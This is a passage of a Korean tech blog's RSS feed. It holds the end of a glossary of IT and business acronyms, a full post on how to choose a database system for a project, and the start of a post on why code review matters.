&lt;th&gt;설명 (한국어)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Blockchain&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;i&gt;(&amp;mdash;)&lt;/i&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;블록체인.&lt;/b&gt; &lt;b&gt;분산 원장 기술&lt;/b&gt;의 하나로, 거래나 데이터를 &lt;b&gt;블록 단위로 묶어 순차적으로 연결&lt;/b&gt;하고 &lt;b&gt;분산 네트워크 참여자 모두가 복제&lt;/b&gt;하여 보관한다. 중앙 기관 없이 &lt;b&gt;데이터의 무결성과 투명성&lt;/b&gt;을 보장하며, 비트코인 등의 암호화폐로 유명해졌고 스마트 컨트랙트 플랫폼(Ethereum 등)으로 &lt;b&gt;금융&amp;middot;공공 분야에도 응용&lt;/b&gt;되고 있다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;NFT&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Non-Fungible Token&lt;/td&gt;
&lt;td&gt;&lt;b&gt;대체 불가능 토큰.&lt;/b&gt; 블록체인 상에 기록된 &lt;b&gt;유일한 디지털 자산 증명서&lt;/b&gt;로, 각각의 토큰이 고유한 가치를 갖는다. 디지털 예술품, 수집품 등에 소유권을 부여하고 &lt;b&gt;복제가 불가능한 자산&lt;/b&gt;으로 취급할 수 있게 하여 2021년경 큰 각광을 받았다. (예: NFT 미술품 경매, 게임 아이템 소유권 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;AR&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Augmented Reality&lt;/td&gt;
&lt;td&gt;&lt;b&gt;증강 현실.&lt;/b&gt; 스마트폰이나 AR안경 등을 통해 현실 세계 위에 &lt;b&gt;디지털 정보나 3D 객체를 겹쳐 보여주는 기술&lt;/b&gt;. 실시간 카메라 영상에 그래픽을 합성하여 &lt;b&gt;현실을 보강된 형태로&lt;/b&gt; 체험하게 하며, 예를 들어 &lt;b&gt;포켓몬GO&lt;/b&gt; 게임이나 &lt;b&gt;산업 현장 매뉴얼 오버레이&lt;/b&gt; 등으로 활용된다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;VR&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Virtual Reality&lt;/td&gt;
&lt;td&gt;&lt;b&gt;가상 현실.&lt;/b&gt; HMD(Head-Mounted Display) 등 기기를 통해 &lt;b&gt;사용자를 완전히 가상 환경에 몰입&lt;/b&gt;시키는 기술. 3D로 생성된 가상 세계에서 &lt;b&gt;상호작용&lt;/b&gt;할 수 있으며, 게임, 시뮬레이션, 교육훈련 등에 쓰인다. 최근 &lt;b&gt;메타버스&lt;/b&gt; 트렌드와 함께 발전하고, 고해상도 디스플레이와 공간 트래킹 기술로 현실감을 높여준다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;운영 성과 및 지표 용어&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;약어&lt;/th&gt;
&lt;th&gt;원어 (영문)&lt;/th&gt;
&lt;th&gt;설명 (한국어)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;KPI&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Key Performance Indicator&lt;/td&gt;
&lt;td&gt;&lt;b&gt;핵심 성과 지표&lt;/b&gt;. 조직이 추구하는 핵심 목표의 달성 정도를 나타내는 지표로, 회사의 성과와 성장세를 평가하는 기준을 말합니다. &lt;i&gt;(분야: 경영/성과 관리)&lt;/i&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;OKR&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Objectives and Key Results&lt;/td&gt;
&lt;td&gt;&lt;b&gt;목표 및 핵심 결과&lt;/b&gt;. 조직의 &lt;b&gt;목표(O)&lt;/b&gt;와 그것을 달성하기 위한 &lt;b&gt;핵심 결과(KR)&lt;/b&gt;를 정의하고 추적하는 성과 관리 프레임워크입니다. &lt;i&gt;(분야: 경영/성과 관리)&lt;/i&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;ROI&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Return on Investment&lt;/td&gt;
&lt;td&gt;&lt;b&gt;투자 대비 수익률&lt;/b&gt;. 투입된 자본에 대해 얼마나 이익을 거두었는지를 보여주는 지표로, 투자 효율을 나타냅니다. &lt;i&gt;(분야: 재무 성과)&lt;/i&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;BEP&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Break-Even Point&lt;/td&gt;
&lt;td&gt;&lt;b&gt;손익분기점&lt;/b&gt;. &lt;b&gt;일정 기간 매출이 총비용과 같아져 이익도 손실도 없는 지점&lt;/b&gt;을 말하며, 기업이 투입 비용을 전부 회수하게 되는 매출 수준을 의미합니다. &lt;i&gt;(분야: 재무 성과)&lt;/i&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;CAC&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Customer Acquisition Cost&lt;/td&gt;
&lt;td&gt;&lt;b&gt;고객 획득 비용&lt;/b&gt;. 신규 고객 한 명을 확보하는 데 평균적으로 투입되는 마케팅/영업 비용을 뜻합니다. &lt;i&gt;(분야: 마케팅/성장 지표)&lt;/i&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;LTV&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Lifetime Value(또는 Customer Lifetime Value)&lt;/td&gt;
&lt;td&gt;&lt;b&gt;고객 생애 가치&lt;/b&gt;. 한 명의 고객이 &lt;b&gt;평생&lt;/b&gt;(또는 일정 기간) 동안 기업에 가져다주는 총 수익을 의미하는 지표입니다. &lt;i&gt;(분야: 마케팅/성장 지표)&lt;/i&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;ARPU&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Average Revenue Per User&lt;/td&gt;
&lt;td&gt;&lt;b&gt;가입자당 평균 매출&lt;/b&gt;. 일정 기간 동안 &lt;b&gt;고객 1인당 발생한 평균 매출액&lt;/b&gt;을 나타내는 지표로, 주로 통신∙플랫폼 서비스 등에서 활용됩니다. &lt;i&gt;(분야: 마케팅/성장 지표)&lt;/i&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;ESG&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Environmental, Social, Governance&lt;/td&gt;
&lt;td&gt;&lt;b&gt;환경∙사회∙지배구조&lt;/b&gt;. 기업의 &lt;b&gt;지속가능성&lt;/b&gt;을 평가하는 3대 비재무 요소로, 친환경 경영(환경), 사회적 책임(사회), 투명한 지배구조(기업 거버넌스)를 강조하는 경영 기조를 뜻합니다. &lt;i&gt;(분야: 경영 트렌드)&lt;/i&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;비즈니스 모델 및 시장 용어&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;약어&lt;/th&gt;
&lt;th&gt;원어 (영문)&lt;/th&gt;
&lt;th&gt;설명 (한국어)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;B2B&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Business to Business&lt;/td&gt;
&lt;td&gt;&lt;b&gt;기업 간 거래&lt;/b&gt;. 기업이 기업을 상대로 제품이나 서비스를 제공하는 비즈니스 모델입니다. &lt;i&gt;(분야: 시장/판매)&lt;/i&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;B2C&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Business to Consumer&lt;/td&gt;
&lt;td&gt;&lt;b&gt;기업 대 소비자 거래&lt;/b&gt;. 기업이 최종 소비자를 대상으로 제품이나 서비스를 판매하는 모델입니다. &lt;i&gt;(분야: 시장/판매)&lt;/i&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;C2C&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Consumer to Consumer&lt;/td&gt;
&lt;td&gt;&lt;b&gt;소비자 간 거래&lt;/b&gt;. 개인 소비자들끼리 상품이나 서비스를 거래하는 형태를 가리킵니다 (예: 중고거래 플랫폼). &lt;i&gt;(분야: 시장/판매)&lt;/i&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;O2O&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Online to Offline&lt;/td&gt;
&lt;td&gt;&lt;b&gt;온&amp;middot;오프라인 연계&lt;/b&gt;. 온라인에서 상품이나 서비스를 주문한 후 &lt;b&gt;오프라인에서 제공&lt;/b&gt;받는 형태의 서비스 모델입니다. &lt;i&gt;(분야: 시장/서비스)&lt;/i&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;D2C&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Direct to Consumer&lt;/td&gt;
&lt;td&gt;&lt;b&gt;소비자 직접 판매&lt;/b&gt;. 중간 유통단계를 거치지 않고 제조업체나 브랜드가 &lt;b&gt;소비자에게 직접&lt;/b&gt; 제품을 판매하는 모델입니다. &lt;i&gt;(분야: 시장/유통)&lt;/i&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;SaaS&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Software as a Service&lt;/td&gt;
&lt;td&gt;&lt;b&gt;서비스형 소프트웨어&lt;/b&gt;. 클라우드 상에서 소프트웨어를 &lt;b&gt;서비스 형태로 제공&lt;/b&gt;하는 모델로, 사용자는 설치나 유지보수 없이 인터넷을 통해 소프트웨어를 이용합니다. &lt;i&gt;(분야: 클라우드/서비스)&lt;/i&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;PaaS&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Platform as a Service&lt;/td&gt;
&lt;td&gt;&lt;b&gt;서비스형 플랫폼&lt;/b&gt;. 애플리케이션 &lt;b&gt;개발&amp;middot;실행&amp;middot;관리를 위한 플랫폼(환경)&lt;/b&gt;을 클라우드로 제공하는 서비스 모델을 말합니다. &lt;i&gt;(분야: 클라우드/서비스)&lt;/i&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;IaaS&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Infrastructure as a Service&lt;/td&gt;
&lt;td&gt;&lt;b&gt;서비스형 인프라&lt;/b&gt;. 서버, 저장소, 네트워크 등 &lt;b&gt;IT 인프라 자원을 가상화하여 주문형으로 제공&lt;/b&gt;하는 클라우드 컴퓨팅 모델입니다. &lt;i&gt;(분야: 클라우드/서비스)&lt;/i&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;TAM&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Total Addressable Market&lt;/td&gt;
&lt;td&gt;&lt;b&gt;총 주소가능 시장&lt;/b&gt;. 특정 제품이나 서비스로 &lt;b&gt;공략 가능한 전체 시장 규모&lt;/b&gt;를 의미하며, 100%의 시장점유율을 가정했을 때 얻을 수 있는 &lt;b&gt;총 잠재 매출&lt;/b&gt;을 나타냅니다. &lt;i&gt;(분야: 시장 분석)&lt;/i&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;마무리: 약어 속 의미를 정확히 이해하는 것의 중요성&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IT 업계는 빠르게 변화하고 있으며, 그 속도만큼이나 새로운 용어와 약어도 끊임없이 등장하고 있습니다. 단순히 외우는 것이 아니라, 이들 약어가 포함된 맥락을 함께 이해하는 것이 실무에서의 커뮤니케이션이나 기술 습득에 큰 도움이 됩니다. 또, 약어 하나가 특정 기술의 방향성과 철학까지 함축하고 있는 경우도 많아, 이를 이해하는 것만으로도 기술 전반에 대한 이해도가 깊어집니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모르는 약어가 나올 때마다 참고할 수 있도록 이 글을 즐겨찾기 해두는 것도 좋은 방법이 될 것입니다. 약어를 정확히 아는 것은 단순한 지식의 차원이 아니라, 기술적 의사소통의 시작점이기 때문입니다.&lt;/p&gt;</description>
      <category>잡생각/컬럼</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/497</guid>
      <comments>https://eyecandyzero.tistory.com/497#entry497comment</comments>
      <pubDate>Tue, 17 Jun 2025 00:35:29 +0900</pubDate>
    </item>
    <item>
      <title>DBMS 선택 가이드: 프로젝트에 맞는 데이터베이스 고르기 (DBMS Selection Guide)</title>
      <link>https://eyecandyzero.tistory.com/496</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;프로젝트 아키텍처에서 데이터 계층은 핵심적인 역할을 수행합니다. 사용자의 요청을 처리하고 데이터를 안전하게 저장하며, 이후 분석이나 활용을 위한 기반을 제공하는 모든 작업은 데이터베이스 시스템(DBMS: Database Management System)에 의해 좌우됩니다. 단순한 데이터 저장소를 넘어서, DBMS는 &quot;확장성&quot;, &quot;보안성&quot;, &quot;성능 최적화&quot;, &quot;운영 비용&quot;, &quot;개발 생산성&quot; 등 프로젝트의 주요 기술 지표에 직결되며, 이로 인해 초기 설계 단계에서의 DBMS 선택은 전체 시스템의 구조와 안정성에 중대한 영향을 미치게 됩니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;DBMS란 무엇인가?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DBMS를 명확하게 이해하기 위해 기본 용어부터 정리해보겠습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot;Database (DB)&quot;: 데이터를 정해진 구조로 저장한 체계화된 집합. 일반적으로 테이블, 인덱스, 관계형 구조 등을 포함합니다.&lt;/li&gt;
&lt;li&gt;&quot;DBMS&quot;: 데이터베이스를 조작할 수 있는 소프트웨어 시스템. 데이터를 생성하고 읽고 갱신하며 삭제(CRUD)하는 모든 기능을 제공합니다.&lt;/li&gt;
&lt;li&gt;&quot;RDBMS&quot;: 데이터를 표 형태로 구성하고, 테이블 간의 관계(Relation)를 기반으로 정규화 및 무결성을 유지하는 관계형 DBMS&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비유하자면, DB는 문서 뭉치이고, DBMS는 그것을 정리하고 열람할 수 있게 해주는 도구입니다. RDBMS는 각각의 문서가 어떤 식으로 연결되어 있는지를 체계적으로 관리해주는 고급 시스템이라 할 수 있습니다. 프로젝트가 커지거나 데이터 규모가 커질수록 이러한 체계적인 관리 능력이 필수적입니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;주요 DBMS 종류&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;DBMS 종류&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;th&gt;특성 및 주요 활용 사례&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;MySQL / MariaDB&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;가장 널리 사용되는 오픈소스 RDBMS&lt;/td&gt;
&lt;td&gt;빠른 성능, 쉬운 관리, 스타트업 및 중소형 웹서비스에 적합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;PostgreSQL&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;고기능 오픈소스 RDBMS&lt;/td&gt;
&lt;td&gt;정합성 보장, 고급 쿼리, GIS 및 JSON 처리 강점&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;SQLite&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;경량화된 단일 파일 기반 RDBMS&lt;/td&gt;
&lt;td&gt;모바일 앱, 데스크탑 소프트웨어, 간단한 로컬 저장소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Oracle&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;고성능 상용 RDBMS&lt;/td&gt;
&lt;td&gt;대규모 금융 시스템, 공공기관, 고가용성 요구 시스템&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;MS SQL Server&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Microsoft의 대표적 DBMS&lt;/td&gt;
&lt;td&gt;Windows 기반 내부 업무 시스템, .NET 환경에서 강력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;MongoDB&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;문서 기반의 NoSQL 시스템&lt;/td&gt;
&lt;td&gt;빠른 개발, 유연한 스키마, 비정형 데이터 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;프로젝트에 따른 DBMS 선택 기준&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;프로젝트 유형&lt;/th&gt;
&lt;th&gt;적합한 DBMS&lt;/th&gt;
&lt;th&gt;이유 및 특징&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;개인 포트폴리오, 간단한 로컬 프로젝트&lt;/td&gt;
&lt;td&gt;SQLite&lt;/td&gt;
&lt;td&gt;설치 및 운영 간편, 별도 서버 불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;스타트업의 MVP 개발 또는 중소형 웹서비스&lt;/td&gt;
&lt;td&gt;MySQL / MariaDB&lt;/td&gt;
&lt;td&gt;빠른 개발과 배포 가능, 커뮤니티 지원 활발&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;고성능 데이터 무결성과 분석이 필요한 시스템&lt;/td&gt;
&lt;td&gt;PostgreSQL / Oracle&lt;/td&gt;
&lt;td&gt;ACID 준수, 트랜잭션 안정성, 고급 분석 기능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;모바일 및 오프라인 중심 앱&lt;/td&gt;
&lt;td&gt;SQLite / Firebase&lt;/td&gt;
&lt;td&gt;로컬 파일 기반 저장, 네트워크 독립 운영 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;데이터 구조가 자주 바뀌는 애자일 환경&lt;/td&gt;
&lt;td&gt;MongoDB&lt;/td&gt;
&lt;td&gt;스키마 유연성, 빠른 데이터 구조 변경 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Windows 중심의 사내 ERP, CRM 시스템&lt;/td&gt;
&lt;td&gt;MS SQL Server&lt;/td&gt;
&lt;td&gt;AD 통합, .NET 생태계와 자연스러운 연결&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;각 DBMS의 장단점 비교&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;MySQL / MariaDB&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;장점: 무료 오픈소스, 높은 가용성, 복제/백업/Failover 지원, 다양한 호스팅 환경과 호환&lt;/li&gt;
&lt;li&gt;단점: 일부 고급 기능의 제한, JSON 및 복잡한 데이터 분석에는 제약이 있을 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;PostgreSQL&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;장점: 표준 SQL 및 확장 SQL 모두 지원, 정교한 트랜잭션 처리, 확장성 우수, JSONB 지원, 병렬 쿼리 가능&lt;/li&gt;
&lt;li&gt;단점: 초기 학습 곡선이 높고, 고성능 튜닝에는 경험이 필요함&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;SQLite&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;장점: 디스크 한 개의 파일만으로 작동, 배포 간편, 테스트 환경에 최적화&lt;/li&gt;
&lt;li&gt;단점: 동시성에 약하고, 트랜잭션이나 백업/복구 시스템이 상대적으로 단순함&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Oracle&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;장점: 뛰어난 보안성, RAC 기능을 통한 고가용성 구성, 다양한 내장 기능 및 성숙한 생태계&lt;/li&gt;
&lt;li&gt;단점: 고비용, 라이선스 복잡성, 벤더 종속성 높음, 전문가 인력 필요&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;MS SQL Server&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;장점: SSMS로 대표되는 GUI 기반 관리도구, Excel/PowerBI 연동 용이, ETL 환경 구성에 강점&lt;/li&gt;
&lt;li&gt;단점: 유료 라이선스, Windows 종속성, Linux 운영에서 제약&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;MongoDB&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;장점: 유연한 문서 구조, 빠른 CRUD, 수평 확장에 용이, 클라우드 서비스(MongoDB Atlas) 지원&lt;/li&gt;
&lt;li&gt;단점: 관계형 연산이 어려움, 조인/정규화 구조 비효율, 데이터 무결성에 대한 보완 필요&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;실무 적용 시 고려사항&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;기술 스택과의 연계성&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용하는 개발 언어나 프레임워크와의 연동이 얼마나 자연스러운지 고려해야 합니다. 예를 들어, Python 기반의 Django는 PostgreSQL과 연동이 활발하며, Node.js에서는 MongoDB가 널리 쓰입니다. 연동 라이브러리, 드라이버의 안정성 여부도 검토해야 합니다. 또한 각 언어별 ORM 지원 수준이 다르므로 미리 체크하는 것이 좋습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;ORM 및 마이그레이션 전략&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현대 웹 프레임워크에서는 ORM(Object-Relational Mapping)을 활용해 데이터 모델과 DB 간 연결을 추상화합니다. PostgreSQL은 대부분의 ORM에서 완성도 높은 지원을 받으며, MongoDB는 ODM(Object Document Mapper) 사용이 일반적입니다. 스키마 변경이 잦은 프로젝트에서는 강력한 마이그레이션 툴(ex: Flyway, Liquibase)을 고려해야 하며, 팀원 간 협업 시 마이그레이션 버전 관리 체계도 함께 설계하는 것이 중요합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;확장성 및 배포 전략&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대규모 트래픽이 예상되는 서비스라면 수평 확장이 가능한 MongoDB, 샤딩 구조를 지원하는 PostgreSQL, Oracle RAC 구성 등을 고려해야 합니다. 장애 복구, 로드 밸런싱, 자동 백업 등의 인프라 측면도 중요한 선택 요소입니다. 특히 클라우드 기반의 DB 서비스(AWS RDS, Azure SQL, Google Cloud SQL 등)를 사용하는 경우, 자동화된 스케일링과 고가용성 옵션을 어떻게 설정할지에 대한 계획도 필요합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;보안 및 규정 대응&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터 암호화, 접근 제어, 감사 로그 등 보안 기능이 기본으로 제공되는지 확인해야 합니다. 민감한 개인정보를 다루는 경우 ISO 27001, GDPR, HIPAA와 같은 컴플라이언스 요건에 따라 선택이 달라질 수 있습니다. 또한 백업된 데이터의 보안성, 데이터 삭제 후의 완전성 보장 여부 등도 함께 검토하는 것이 좋습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;커뮤니티 및 지원 생태계&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오픈소스 DBMS는 커뮤니티가 얼마나 활발한지가 기술 지원의 핵심입니다. PostgreSQL과 MySQL은 방대한 문서와 포럼이 존재하며, 문제 발생 시 해결 속도가 빠릅니다. 상용 DB는 SLA를 통한 24시간 지원을 받을 수 있는 장점이 있으며, 그에 따른 비용도 고려해야 합니다. 또한 커뮤니티에서 제공하는 확장 기능, 플러그인, 튜닝 가이드 등의 유무도 장기적인 유지보수에 큰 영향을 미칩니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;유지보수 및 운영 편의성&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;운영 관리 도구의 유무와 성숙도, 모니터링 체계, 백업 및 장애 복구의 자동화 수준 등을 파악하는 것이 중요합니다. 복잡한 쿼리 튜닝, 성능 모니터링에 대해 직관적인 UI를 제공하는 도구가 있는 DBMS는 운영 부담을 줄일 수 있습니다. 또한 버전 업데이트 시 하위 호환성 문제나 배포 전략에 따라 운영 중단 없이 진행할 수 있는 기능도 선택에 영향을 미칠 수 있습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;전략적인 DBMS 선택의 중요성&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DBMS 선택은 단순한 기술 요소를 넘어, 프로젝트의 유지보수성, 성능, 협업 방식에까지 깊은 영향을 미치는 결정입니다. 특히 비즈니스 모델의 확장 가능성, 예상되는 데이터 처리량, 개발 인력의 숙련도, 보안 요건 등을 종합적으로 고려해야만 안정적이고 유연한 시스템을 구축할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;완벽한 데이터베이스&quot;는 존재하지 않습니다. 대신 &quot;현재 상황에 가장 적합한 데이터베이스&quot;를 신중하게 선택하는 것이 핵심입니다. 이를 위해서는 기술적 비교를 넘어 실무 환경에서의 경험과 활용 목적을 균형 있게 반영한 의사결정이 필요합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞서 살펴본 다양한 DBMS의 특징과 실무 적용 시 고려사항을 바탕으로, 여러분의 프로젝트에 가장 알맞은 데이터베이스 환경을 설계해보시기 바랍니다.&lt;/p&gt;</description>
      <category>Database</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/496</guid>
      <comments>https://eyecandyzero.tistory.com/496#entry496comment</comments>
      <pubDate>Fri, 13 Jun 2025 01:47:39 +0900</pubDate>
    </item>
    <item>
      <title>코드리뷰가 필요한 이유</title>
      <link>https://eyecandyzero.tistory.com/495</link>
      <description>&lt;p&gt;개발을 시작한 초창기엔 &amp;#39;내가 만든 코드&amp;#39;를 누가 본다는 게 썩 유쾌하진 않았다. 누군가 내 코드에 태클을 거는 것 같고, 마치 실수를 들킨 것처럼 느껴졌다. 하지만 지금은 정반대다. 내가 짠 코드에 아무도 관심을 주지 않으면 그게 더 불안하다. 코드리뷰가 없던 시절과 지금을 비교하면, 그 차이는 단순히 품질의 문제가 아니라 개발 문화 자체의 문제라고 느낀다.&lt;/p&gt;
